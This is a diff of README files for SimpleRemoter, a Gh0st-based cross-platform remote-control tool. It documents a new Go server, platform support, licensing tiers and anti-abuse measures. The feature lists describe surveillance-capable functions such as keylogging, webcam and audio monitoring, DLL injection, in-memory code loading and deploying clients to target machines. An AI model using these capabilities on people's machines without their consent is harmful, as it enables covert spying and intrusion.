-- 大 DLL 自动使用 TinyRun 回退方案
-
-### v1.2.8 (2026.3.11)
-
-**邮件通知 & 远程音频**
-
-- 主机上线邮件通知（SMTP 配置、关键词匹配、右键快捷添加）
-- 远程音频播放（WASAPI Loopback）+ Opus 压缩（24:1）
-- 多 FRPS 服务器同时连接支持
-- 自定义光标显示和追踪
-- V2 授权协议（ECDSA 签名）
-- 修复非中文 Windows 系统乱码问题
-- Linux 客户端屏幕压缩算法优化
-
-### v1.2.7 (2026.2.28)
-
-**V2 文件传输协议**
-
-- 支持 C2C（客户端到客户端）直接传输
-- 断点续传和大文件支持（>4GB）
-- SHA-256 文件完整性校验
-- WebView2 + xterm.js 现代终端
-- Linux 文件管理支持
-- 主机列表批量更新优化，减少 UI 闪烁
-
-### v1.2.6 (2026.2.16)
-
-**远程桌面工具栏重写**
-
-- 状态窗口显示 RTT、帧率、分辨率
-- 全屏工具栏支持 4 个位置和多显示器
-- H.264 带宽优化
-- 授权管理 UI 完善
-
-### v1.2.5 (2026.2.11)
-
-**自适应质量控制 & Linux 客户端**
-
-- 基于 RTT 的智能质量调整
-- RGB565 算法（节省 50% 带宽）
-- 滚动检测优化（节省 50-80% 带宽）
-- Linux 客户端初版发布
-
-完整更新历史请查看：[history.md](./history.md)
 
 ---
 

ReadMe_TW.md

@@ -9,18 +9,18 @@
   <a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
     <img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
   </a>
-  <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
+  <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
-    <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
+    <img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
   </a>
-  <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
+  <img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
-  <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
+  <img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
-  <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
+  <img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
   <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
 </p>
 
 <p align="center">
-  <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
+  <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
-    <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
+    <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
   </a>
 </p>
 
@@ -29,10 +29,7 @@
 > [!WARNING]
 > **重要法律聲明**
 >
-> 本軟件**僅供教育目的及授權使用場景**，包括：
+> 本軟體**僅供教育目的及授權使用情境**：組織內遠端 IT 管理、經授權的滲透測試與安全研究、個人裝置管理與技術學習。
-> - 在您的組織內進行遠端 IT 管理
-> - 經授權的滲透測試和安全研究
-> - 個人設備管理和技術學習
 >
 > **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
 
@@ -41,12 +38,13 @@
 ## 目錄
 
 - [專案簡介](#專案簡介)
-- [免責聲明](#免責聲明)
+- [本版本亮點：全平台閉環](#本版本亮點全平台閉環)
+- [合規與反濫用](#合規與反濫用)
 - [功能特性](#功能特性)
-- [技術亮點](#技術亮點)
+- [全平台支援](#全平台支援)
 - [系統架構](#系統架構)
 - [快速開始](#快速開始)
-- [用戶端支援](#用戶端支援)
+- [使用者文件](#使用者文件)
 - [更新日誌](#更新日誌)
 - [相關專案](#相關專案)
 - [聯絡方式](#聯絡方式)
@@ -55,25 +53,9 @@
 
 ## 專案簡介
 
-**SimpleRemoter** 是一個功能完整的遠端控制解決方案，基於經典的 Gh0st 框架重構，採用現代 C++17 開發。專案始於 2019 年，經過持續迭代已發展為支援 **Windows + Linux + macOS** 三平台的企業級遠端管理工具。
+**SimpleRemoter** 是一個端到端跨平台的遠端控制解決方案。
 
-### 核心能力
+專案核心基於經典 **Gh0st 架構**，最早始於 2019 年 1 月。歷經 7 年持續迭代——從 IOCP 通訊核心重構、x264 視訊級編碼、V2 檔案傳輸協定、多層授權體系，到 Linux 與 macOS 用戶端的引入——本版本最終完成**用戶端 + 伺服端的全平台閉環**：三大桌面作業系統（Windows / Linux / macOS）在任一側都可作為受控端或主控端。
-
-| 類別 | 功能 |
-|------|------|
-| **遠端桌面** | 即時螢幕控制、多顯示器支援、H.264 編碼、自適應品質 |
-| **檔案管理** | 雙向傳輸、斷點續傳、C2C 傳輸、SHA-256 校驗 |
-| **終端管理** | 互動式 Shell、ConPTY/PTY 支援、現代 Web 終端 |
-| **系統管理** | 程序/服務/視窗管理、登錄檔瀏覽、工作階段控制 |
-| **媒體擷取** | 網路攝影機監控、音訊監聽、鍵盤記錄 |
-| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
-
-### 適用場景
-
-- **企業 IT 運維**：批次管理內網設備，遠端故障排查
-- **遠端辦公**：安全存取辦公電腦，檔案同步傳輸
-- **安全研究**：滲透測試、紅隊演練、安全稽核
-- **技術學習**：網路程式設計、IOCP 模型、加密傳輸實踐
 
 **原始來源：** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期：** 2019.1.1
 
@@ -81,36 +63,73 @@
 
 ---
 
-## 免責聲明
+## 本版本亮點：全平台閉環
 
-**請在使用本軟件前仔細閱讀以下聲明：**
+本專案長期以 **C++ MFC 主控**（`YAMA.exe`）為核心交付形態——經典 Gh0st 架構、IOCP 高效能核心、完整的遠端桌面 / 檔案 / 程序 / 媒體功能堆疊、多層授權體系、品牌客製化——**至今仍是主要使用的主控**。MFC 主控內建了基於 WebSocket 的 Web 遠端桌面服務，從 v1.3.1 起就已經支援**任意平台的瀏覽器**遠控被管裝置（手機 / 平板 / Linux / macOS 桌面均可）。
 
-1. **合法用途**：本專案僅供合法的技術研究、學習交流和授權的遠端管理使用。嚴禁將本軟件用於未經授權存取他人電腦系統、竊取資料、監控他人隱私等任何違法行為。
+本版本（v1.3.4）補上了最後一塊拼圖——**Go 主控**：一個**功能簡潔、聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」** 的輕量伺服端，跨 Windows / Linux / macOS 編譯執行。它的定位**不是取代 MFC**，而是為那些**不方便執行 Windows VPS** 的使用者提供原生的 Linux / macOS 主控落腳點——例如純 Linux 伺服器、ARM Mac 長駐、嵌入式主控盒等情境。
 
-2. **使用者責任**：使用者必須遵守所在國家/地區的法律法規。因使用本軟件而產生的任何法律責任，由使用者自行承擔。
+### 兩種主控形態如何選擇
 
-3. **無擔保聲明**：本軟件按「現狀」提供，不附帶任何明示或暗示的擔保，包括但不限於適銷性、特定用途適用性的擔保。
+| 形態 | GUI | 功能覆蓋 | 平台 | 定位 |
+|---|---|---|---|---|
+| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 內建 Web 服務 | ✅ **全部功能** | Windows | **主推方案**。日常運維、檔案管理、媒體擷取、多層授權、品牌客製化等都用它 |
+| **Go 主控**（新） | Web UI（任何瀏覽器） | 遠端桌面 + 遠端終端 + 多使用者 | Windows / Linux / macOS | **補充方案**。需要「零 Windows 依賴」的純 Linux / macOS 主控部署 |
 
-4. **免責條款**：開發者不對因使用、誤用或無法使用本軟件而造成的任何直接、間接、偶然、特殊或後果性損害承擔責任。
+> [!TIP]
+> 兩種主控**使用同一套用戶端**——可以混搭，例如一台 Windows MFC 主控 + 一台 Linux Go 主控並行管理同一批裝置群。
 
-5. **版權聲明**：本專案採用 MIT 協議開源，允許自由使用、修改和分發，但必須保留原始版權聲明。
+### Go 主控的核心能力（v1.3.4 新增）
 
-**繼續使用本軟件即表示您已閱讀、理解並同意上述所有條款。**
+- **遠端桌面**：H.264 流透過 WebSocket 直接推送瀏覽器，WebCodecs 硬體解碼，1080P @ 20fps 流暢
+- **遠端終端**：xterm.js + ConPTY/PTY，支援調整尺寸、Tab 自動補全
+- **多使用者體系**：管理員 / 一般使用者分級、Challenge-Response 登入、不透明 token、按裝置群授權
+- **生產部署**：Nginx 反向代理 + Let's Encrypt + Keyboard Lock + 全螢幕控制，防止 ESC / F11 誤退出
+- **刻意保持輕量**：不包含檔案管理、媒體擷取、登錄檔、服務管理等 MFC 主控專屬功能——這些請走 MFC 主控
+
+### 全平台支援矩陣
+
+|  | **用戶端 (受控端)** | **主控端** |
+|---|---|---|
+| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`（推薦）/ Go |
+| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
+| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
+
+---
+
+## 合規與反濫用
+
+本專案長期堅持「明確的合規姿態」立場。本版本進一步收緊反濫用邊界。
+
+### 內建技術措施
+
+原始碼層面構築多道獨立可驗證的反濫用屏障，詳見 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md)：
+
+- **入站連線 IP 區段校驗**：試用版若被部署到公網會觸發可見告警 latch
+- **監聽埠數量上限**：試用版限制 ≤ 2 個監聽埠，防多租戶中轉改造
+- **應用層 RTT 反代理**：LAN 內 RTT 閾值偵測，反向代理 / 隧道會被識別
+- **多層授權架構**：V2 ECDSA 離線 + V1 連線 + 試用版分級，每一層限制獨立
+- **Web 主控驗證**：強制 Challenge-Response 登入、登入限流、不透明 token、操作可稽核
+
+### 合規文件
+
+| 文件 | 內容 |
+|---|---|
+| 📖 [反濫用與合規使用政策](./docs/Compliance_AntiAbuse.md) | 完整的發行方-使用方責任劃分 |
+| 📖 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的原始碼位置、設計動機、已知侷限 |
 
 > [!IMPORTANT]
-> **網路連線與隱私聲明**
+> **使用本軟體即視為您已閱讀、理解並接受上述合規文件全部條款。** 如您不能或不願接受任一條款，請立即停止使用並銷毀本軟體副本。
->
+
-> 主控程式（伺服器端）會根據授權狀態與授權伺服器進行網路通訊：
+### 網路連線與隱私
->
+
-> | 版本類型 | 連線行為 |
+| 版本類型 | 連線行為 |
-> |---------|---------|
+|---|---|
-> | 試用版本 | 維持與授權伺服器的持續連線 |
+| 試用版本 | 維持與授權伺服器的持續連線 |
-> | V1/V2 授權版本 | 啟動時連線驗證，通過後斷開 |
+| V1/V2 授權版本 | 啟動時連線驗證，通過後中斷 |
-> | V2 離線授權版本 | 無需連線授權伺服器 |
+| V2 離線授權版本 | 無需連線授權伺服器 |
->
+
-> 除獲得離線授權外，主控程式會與授權伺服器進行必要的資料交互（如偵測破解行為、驗證授權有效性）。
+除獲得離線授權外，主控程式會與授權伺服器進行必要的資料互動（如偵測破解行為、驗證授權有效性）。
->
-> **使用本軟體即表示您接受主控程式與授權伺服器之間的資料傳輸。如您不同意，請勿使用本軟體。**
 
 ---
 
@@ -120,240 +139,149 @@
 
 ![遠端桌面](./images/Remote.jpg)
 
-- **多種截圖方式**：GDI（相容性強）、DXGI（高效能）、虛擬桌面（背景執行）
+- **多種螢幕擷取**：GDI / DXGI / 虛擬桌面（Windows）、X11 + XShm（Linux）、CGDisplayStream（macOS）
-- **智慧壓縮演算法**：
+- **智慧壓縮**：DIFF 差分（SSE2 最佳化）/ RGB565（節省 50% 頻寬）/ **H.264**（視訊級壓縮，x264 + VideoToolbox + WebCodecs）/ 灰階模式
-  - DIFF 差分演算法 - SSE2 優化，僅傳輸變化區域
+- **自適應品質**：根據 RTT 自動調節影格率（5-30 FPS）、解析度、壓縮演算法
-  - RGB565 演算法 - 節省 50% 頻寬
+- **多顯示器**：多螢幕切換 + 多螢幕上牆
-  - H.264 編碼 - 視訊級壓縮，適合高幀率場景
+- **跨裝置檔案拖曳**：Ctrl+C/V 跨裝置複製貼上檔案
-  - 灰階模式 - 極低頻寬消耗
+- **Web 遠端桌面**：瀏覽器直接存取，手機 / 平板可用（[設定指南](./docs/WebHTTPS.md)）
-- **自適應品質**：根據網路 RTT 自動調整幀率（5-30 FPS）、解析度和壓縮演算法
+
-- **多顯示器**：支援多螢幕切換和多螢幕牆顯示
+![Web遠端桌面](./images/WebRemote.png)
-- **隱私螢幕**：被控端螢幕可隱藏，支援鎖定畫面狀態下控制
-- **檔案拖放**：Ctrl+C/V 跨設備複製貼上檔案
-- **Web 遠端桌面**：透過瀏覽器存取遠端桌面，支援手機/平板（[設定指南](./docs/WebHTTPS.md)）
 
 ### 檔案管理
 
 ![檔案管理](./images/FileManage.jpg)
 
-- **V2 傳輸協定**：全新設計，支援大檔案（>4GB）
+- **V2 傳輸協定**：支援 >4GB 大檔、斷點續傳、SHA-256 校驗
-- **斷點續傳**：網路中斷後自動恢復，狀態持久化
 - **C2C 傳輸**：用戶端之間直接傳輸，無需經過主控
-- **完整性校驗**：SHA-256 雜湊驗證，確保檔案完整
+- **批次操作**：搜尋、壓縮、批次傳輸
-- **批次操作**：支援檔案搜尋、壓縮、批次傳輸
 
 ### 終端管理
 
-![終端管理](./images/Console.jpg)
+![終端管理](./images/LinuxClient.png)
 
-- **互動式 Shell**：完整的命令列體驗，支援 Tab 補全
+- **互動式 Shell**：Tab 自動補全、ANSI escape、調整尺寸
-- **ConPTY 技術**：Windows 10+ 原生虛擬終端支援
+- **現代終端**：Windows ConPTY、Linux / macOS PTY
-- **現代 Web 終端**：基於 WebView2 + xterm.js（v1.2.7+）
+- **Web 終端**：xterm.js + WebSocket，與原生體驗一致
-- **終端尺寸調整**：自適應視窗大小
-
-### 程序與視窗管理
-
-| 程序管理 | 視窗管理 |
-|---------|---------|
-| ![程序](./images/Process.jpg) | ![視窗](./images/Window.jpg) |
-
-- **程序管理**：檢視程序清單、CPU/記憶體佔用、啟動/終止程序
-- **程式碼注入**：向目標程序注入 DLL（需系統管理員權限）
-- **視窗控制**：最大化/最小化/隱藏/關閉視窗
-
-### 媒體功能
-
-| 視訊管理 | 音訊管理 |
-|---------|---------|
-| ![視訊](./images/Video.jpg) | ![音訊](./images/Voice.jpg) |
-
-- **網路攝影機監控**：即時視訊串流，支援解析度調整
-- **音訊監聽**：遠端聲音擷取，支援雙向語音
-- **鍵盤記錄**：線上/離線記錄模式
 
 ### 其他功能
 
-- **服務管理**：檢視和控制 Windows 服務
+| 模組 | 能力 |
-- **登錄檔瀏覽**：唯讀方式瀏覽登錄檔內容
+|---|---|
-- **工作階段控制**：遠端登出/關機/重新啟動
+| **程序管理** | 程序清單、CPU / 記憶體佔用、終止、DLL 注入 |
-- **SOCKS 代理**：透過用戶端建立代理通道
+| **視窗管理** | 最大化 / 最小化 / 隱藏 / 關閉 |
-- **FRP 穿透**：內建 FRP 支援，輕鬆穿透內網
+| **媒體擷取** | 網路攝影機、雙向語音、鍵盤記錄 |
-- **程式碼執行**：遠端執行 DLL，支援熱更新
+| **系統控制** | 服務管理、登錄檔、工作階段登出 / 關機 |
+| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
+| **程式碼執行** | 遠端執行 DLL、記憶體載入、熱更新 |
 
 ---
 
-## 技術亮點
+## 全平台支援
 
-### 高效能網路架構
+### Windows 用戶端
 
-```
+**系統需求**：Windows 7 SP1 及以上
-┌─────────────────────────────────────────────────────────┐
+**功能完整性**：✅ 全部功能支援
-│                    IOCP 通訊模型                          │
-├─────────────────────────────────────────────────────────┤
-│  • I/O 完成埠：Windows 最高效的非同步 I/O 模型            │
-│  • 單主控支援 10,000+ 並行連線                            │
-│  • 支援 TCP / UDP / KCP 三種傳輸協定                      │
-│  • 自動分塊處理大資料封包（最大 128KB 傳送緩衝）           │
-└─────────────────────────────────────────────────────────┘
-```
 
-### 自適應品質控制
+### Linux 用戶端（v1.2.5+）
 
-基於 RTT（Round-Trip Time）的智慧品質調整系統：
+**系統需求**：
+- 顯示伺服器：X11/Xorg（暫不支援 Wayland）
+- 必需函式庫：libX11；推薦函式庫：libXtst（XTest 擴充）、libXss（閒置偵測）
 
-| RTT 延遲 | 品質等級 | 幀率 | 解析度 | 壓縮演算法 | 適用場景 |
+| 功能 | 狀態 | 實作 |
-|---------|---------|------|--------|-----------|---------|
+|---|---|---|
-| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 區域網路辦公 |
+| 遠端桌面 | ✅ | X11 螢幕擷取 + libx264 H.264 硬體編碼 |
-| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般辦公 |
+| 遠端終端 | ✅ | PTY 互動式 Shell |
-| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨網/視訊 |
+| 檔案管理 | ✅ | V2 協定、雙向傳輸、大檔 |
-| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨網辦公 |
+| 程序管理 | ✅ | 清單 + 終止 |
-| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 較差網路 |
+| 剪貼簿同步 | ✅ | xclip / xsel 外部工具，支援檔案 URI |
-| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 極差網路 |
+| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
+| 常駐程序 | ✅ | 雙 fork 守護化 |
 
-- **零額外開銷**：複用心跳封包計算 RTT
+**編譯**：`cd linux && cmake . && make`
-- **快速降級**：2 次偵測即觸發，回應網路波動
-- **謹慎升級**：5 次穩定後才提升品質
-- **冷卻機制**：防止頻繁切換
 
-### V2 檔案傳輸協定
+### macOS 用戶端（v1.3.2+）
 
-```cpp
+**系統需求**：
-// 77 位元組協定標頭 + 檔案名稱 + 資料載荷
+- macOS 10.15 (Catalina) 及以上
-struct FileChunkPacketV2 {
+- 架構：Intel (x64) 和 Apple Silicon (arm64) 通用二進位檔
-    uint8_t   cmd;            // COMMAND_SEND_FILE_V2 = 85
+- 系統權限：螢幕錄影、輔助功能、完整磁碟存取
-    uint64_t  transferID;     // 傳輸工作階段 ID
-    uint64_t  srcClientID;    // 來源用戶端 ID (0=主控端)
-    uint64_t  dstClientID;    // 目標用戶端 ID (0=主控端, C2C)
-    uint32_t  fileIndex;      // 檔案編號 (0-based)
-    uint32_t  totalFiles;     // 總檔案數
-    uint64_t  fileSize;       // 檔案大小（支援 >4GB）
-    uint64_t  offset;         // 目前區塊位移
-    uint64_t  dataLength;     // 本區塊資料長度
-    uint64_t  nameLength;     // 檔案名稱長度
-    uint16_t  flags;          // 標誌位元 (FFV2_LAST_CHUNK 等)
-    uint16_t  checksum;       // CRC16 校驗（可選）
-    uint8_t   reserved[8];    // 預留擴充
-    // char filename[nameLength];  // UTF-8 相對路徑
-    // uint8_t data[dataLength];   // 檔案資料
-};
-```
 
-**特性**：
+| 功能 | 狀態 | 實作 |
-- 大檔案支援（uint64_t 突破 4GB 限制）
+|---|---|---|
-- 斷點續傳（狀態持久化到 `%TEMP%\FileTransfer\`）
+| 遠端桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬體編碼 |
-- SHA-256 完整性校驗
+| 鍵鼠控制 | ✅ | CGEvent，支援雙擊、拖曳 |
-- C2C 直傳（用戶端到用戶端）
+| 遠端終端 | ✅ | PTY 互動式 Shell（zsh/bash） |
-- V1/V2 協定相容
+| 檔案管理 | ✅ | V2 協定、大檔 |
+| 程序管理 | ✅ | proc_listpids + 終止 |
+| 剪貼簿同步 | ✅ | NSPasteboard，支援檔案 URL + NSFilenamesPboardType |
+| 常駐模式 | ✅ | `-d` 後台執行、電源管理、閒置偵測 |
 
-### 螢幕傳輸優化
+**編譯**：`cd macos && ./build.sh`
 
-- **SSE2 指令集**：像素差分計算硬體加速
+### Go 主控（v1.3.4+）
-- **多執行緒並行**：執行緒池分塊處理螢幕資料
-- **捲動偵測**：識別捲動場景，減少 50-80% 頻寬
-- **H.264 編碼**：基於 x264，GOP 控制，視訊級壓縮
 
-### 安全機制
+**系統需求**：Go 1.21+（僅編譯時）；二進位執行無依賴
 
-| 層級 | 措施 |
+| 能力 | 實作 |
-|------|------|
+|---|---|
-| **傳輸加密** | AES-256 資料加密，可設定 IV |
+| 遠端桌面 | H.264 → WebSocket → WebCodecs，1080P @ 20fps |
-| **身分驗證** | 簽章驗證 + HMAC 認證 |
+| 遠端終端 | xterm.js + PTY/ConPTY 透明轉發 |
-| **授權控制** | 序號綁定（IP/網域），多級授權 |
+| 多使用者 | Challenge-Response + 不透明 token + 按群授權 |
-| **檔案校驗** | SHA-256 完整性驗證 |
+| 部署 | Nginx 反向代理 / Let's Encrypt / systemd unit / `/etc/environment` |
-| **工作階段隔離** | Session 0 獨立處理 |
 
-### 相依套件
+**編譯**：`cd server/go && go build -o server_linux_amd64 ./cmd`
-
-| 套件 | 版本 | 用途 |
-|------|------|------|
-| zlib | 1.3.1 | 通用壓縮 |
-| zstd | 1.5.7 | 高速壓縮 |
-| x264 | 0.164 | H.264 編碼 |
-| libyuv | 190 | YUV 轉換 |
-| HPSocket | 6.0.3 | 網路 I/O |
-| jsoncpp | 1.9.6 | JSON 解析 |
 
 ---
 
 ## 系統架構
 
+### 全平台拓撲
+
 ```
-┌─────────────────────────────────────────────────────────────────────────────┐
+┌────────────────────────────────────────────────────────┐
-│                         多層授權架構 (Multi-Layer Authorization)             │
+│                       主控層                            │
-├─────────────────────────────────────────────────────────────────────────────┤
 │                                                         │
-│                          ┌─────────────────────┐                            │
+│   ┌──────────────────┐      ┌──────────────────┐       │
-│                          │    超級管理員        │                            │
+│   │  C++ MFC 主控     │      │   Go 主控         │       │
-│                          │   (授權伺服器)       │                            │
+│   │  YAMA.exe        │      │ (Win/Linux/Mac)  │       │
-│                          │   Super Admin       │                            │
+│   │  Windows only    │      │  Web UI 全平台    │       │
-│                          └─────────┬───────────┘                            │
+│   └────────┬─────────┘      └────────┬─────────┘       │
-│                                    │                                         │
+└────────────┼──────────────────────────┼─────────────────┘
-│                     ┌──────────────┼──────────────┐                         │
-│                     │ V2 授權      │ V2 授權      │ V2 授權                  │
-│                     │ (ECDSA)      │ (ECDSA)      │ (ECDSA)                  │
-│                     ▼              ▼              ▼                          │
-│             ┌───────────┐  ┌───────────┐  ┌───────────┐                     │
-│             │ 第一層 A   │  │ 第一層 B   │  │ 第一層 C   │  ◄── 獨立營運      │
-│             │ Layer-1 A │  │ Layer-1 B │  │ Layer-1 C │      完全隔離       │
-│             └─────┬─────┘  └─────┬─────┘  └─────┬─────┘                     │
-│                   │              │              │                            │
-│          ┌────────┴────────┐     │       ┌──────┴──────┐                    │
-│          │ V1 授權         │     │       │ V1 授權     │                    │
-│          ▼                 ▼     ▼       ▼             ▼                    │
-│    ┌──────────┐     ┌──────────┐ ...  ┌──────────┐  ┌──────────┐           │
-│    │ 下級 A1  │     │ 下級 A2  │      │ 下級 C1  │  │ 下級 C2  │           │
-│    │ Master   │     │ Master   │      │ Master   │  │ Master   │           │
-│    └────┬─────┘     └────┬─────┘      └────┬─────┘  └────┬─────┘           │
-│         │                │                 │             │                  │
-│         ▼                ▼                 ▼             ▼                  │
-│    ┌─────────┐     ┌─────────┐       ┌─────────┐   ┌─────────┐             │
-│    │ 用戶端  │     │ 用戶端  │       │ 用戶端  │   │ 用戶端  │             │
-│    │ 10,000+ │     │ 10,000+ │       │ 10,000+ │   │ 10,000+ │             │
-│    └─────────┘     └─────────┘       └─────────┘   └─────────┘             │
              │                          │
-├─────────────────────────────────────────────────────────────────────────────┤
+             │  TCP (自訂二進位協定)     │ TCP (裝置) + WS (瀏覽器)
-│  授權類型        驗證方式              特點                                   │
+             └────────┬─────────────────┘
-│  ─────────────────────────────────────────────────────────────────────────  │
+                      │
-│  V2 授權         ECDSA P-256 簽名      支援離線驗證，下級連線數限制            │
+       ┌──────────────┼──────────────┐
-│  V1 授權         HMAC + 線上驗證       連線上級伺服器驗證                      │
+       ▼              ▼              ▼
-│  試用版          線上驗證              功能受限，需保持連線                    │
+  ┌─────────┐    ┌─────────┐    ┌─────────┐
-└─────────────────────────────────────────────────────────────────────────────┘
+  │ Windows │    │  Linux  │    │  macOS  │
+  │ 用戶端  │    │ 用戶端  │    │ 用戶端  │
+  │ (DXGI)  │    │  (X11)  │    │ (CG)    │
+  └─────────┘    └─────────┘    └─────────┘
 ```
 
-### 架構優勢
+### 多層授權（簡化視圖）
 
-| 特性 | 說明 |
+```
-|------|------|
+超級管理員（授權伺服器）
-| **層級控制** | 超級使用者可管理任意主控程式，支援無限層級 |
+   │ V2 授權 (ECDSA P-256)
-| **完全隔離** | 不同第一層使用者的授權、資料、用戶端完全隔離 |
+   ▼
-| **獨立營運** | 第一層使用者可獨立定價、發放授權，打造專屬品牌 |
+第一層主控 ──┬── 第一層主控 ──┬── 第一層主控  ◄── 獨立營運 / 完全隔離
-| **水平擴充** | 單 Master 支援 10,000+ 用戶端，多層架構可達百萬級 |
+   │ V1     │ V1            │ V1
-| **離線支援** | V2 授權支援完全離線驗證，無需依賴上游服務 |
+   ▼        ▼               ▼
+下級主控 → 用戶端 (10,000+) → 裝置群
+```
 
-### 主控程式（Server）
+| 授權 | 驗證 | 特點 |
+|---|---|---|
+| V2 授權 | ECDSA P-256 簽章 | 離線驗證、下級連線數限制 |
+| V1 授權 | HMAC + 連線驗證 | 連接上級伺服器驗證 |
+| 試用版 | 連線驗證 | 功能受限、連線限制（詳見 [合規文件](./docs/Compliance_AntiAbuse.md)） |
 
-主控程式 **YAMA.exe** 提供圖形化管理介面：
+完整說明：[多層授權方案](./docs/MultiLayerLicense.md)
-
-![主介面](./images/Yama.jpg)
-
-- 基於 IOCP 的高效能伺服器
-- 用戶端分組管理
-- 即時狀態監控（RTT、地理位置、活動視窗）
-- 一鍵產生用戶端
-
-### 受控程式（Client）
-
-![用戶端產生](./images/TestRun.jpg)
-
-**執行形式**：
-
-| 類型 | 說明 |
-|------|------|
-| `ghost.exe` | 獨立可執行檔，無外部相依 |
-| `TestRun.exe` + `ServerDll.dll` | 分離載入，支援記憶體載入 DLL |
-| Windows 服務 | 背景執行，支援鎖定畫面控制 |
-| Linux 用戶端 | 跨平台支援（v1.2.5+） |
-| macOS 用戶端 | 跨平台支援（v1.3.2+） |
 
 ---
 
@@ -363,62 +291,34 @@ struct FileChunkPacketV2 {
 
 無需編譯，下載即用：
 
-1. **下載發佈版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
+1. **下載發行版** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
-2. **啟動主控** - 執行 `YAMA.exe`，輸入授權資訊（見下方試用口令）
+2. **啟動主控** - 執行 `YAMA.exe`（或 Linux 上的 `server_linux_amd64`），輸入授權資訊
-3. **產生用戶端** - 點擊工具列「產生」按鈕，設定伺服器 IP 和連接埠
+3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
-4. **部署用戶端** - 將產生的用戶端複製到目標機器並執行
+4. **部署用戶端** - 複製到目標機器執行
-5. **開始控制** - 用戶端上線後，雙擊即可開啟遠端桌面
+5. **開始控制** - 用戶端上線後雙擊遠端桌面
 
 > [!TIP]
 > 首次測試建議在同一台機器上執行主控和用戶端，使用 `127.0.0.1` 作為伺服器位址。
 
-### 編譯要求
+### Go 主控部署（VPS）
 
-- **作業系統**：Windows 10/11 或 Windows Server 2016+
+參見 [Web 遠端桌面設定](./docs/WebHTTPS.md)。最小步驟：
-- **開發環境**：Visual Studio 2019 / 2022 / 2026
-- **SDK**：Windows 10 SDK (10.0.19041.0+)
-
-### 編譯步驟
 
 ```bash
-# 1. 複製程式碼（必須使用 git clone，不要下載 zip）
+# 1. 在 VPS 上跑 Go 主控
-git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
+nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
-# 2. 開啟方案
+# 2. nginx 反代 9001 到 HTTPS
-#    使用 VS2019+ 開啟 SimpleRemoter.sln
+#    詳見 docs/WebHTTPS.md
 
-# 3. 選擇組態
+# 3. 瀏覽器開啟 https://yourdomain.com/，登入、新增用戶端
-#    Release | x86 或 Release | x64
-
-# 4. 編譯
-#    建置 -> 建置方案
 ```
 
-**常見問題**：
+### 試用授權（v1.2.4+）
-- 相依套件衝突：[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
-- 非中文系統亂碼：[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
-- 編譯器相容性：[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
 
-### 部署方式
+提供 2 年有效期、20 並發連線、僅限內網的試用口令：
-
-#### 內網部署
-
-主控與用戶端在同一區域網路，用戶端直連主控 IP:Port。
-
-#### 外網部署（FRP 穿透）
 
 ```
-用戶端 ──> VPS (FRP Server) ──> 本機主控 (FRP Client)
-```
-
-詳細設定請參考：[反向代理部署說明](./反向代理.md)
-
-### 授權說明
-
-自 v1.2.4 起提供試用口令（2 年有效期，20 並行連線，僅限內網）：
-
-```
-授權方式：按電腦 IP 綁定
 主控 IP：127.0.0.1
 序號：12ca-17b4-9af2-2894
 密碼：20260201-20280201-0020-be94-120d-20f9-919a
@@ -429,271 +329,129 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
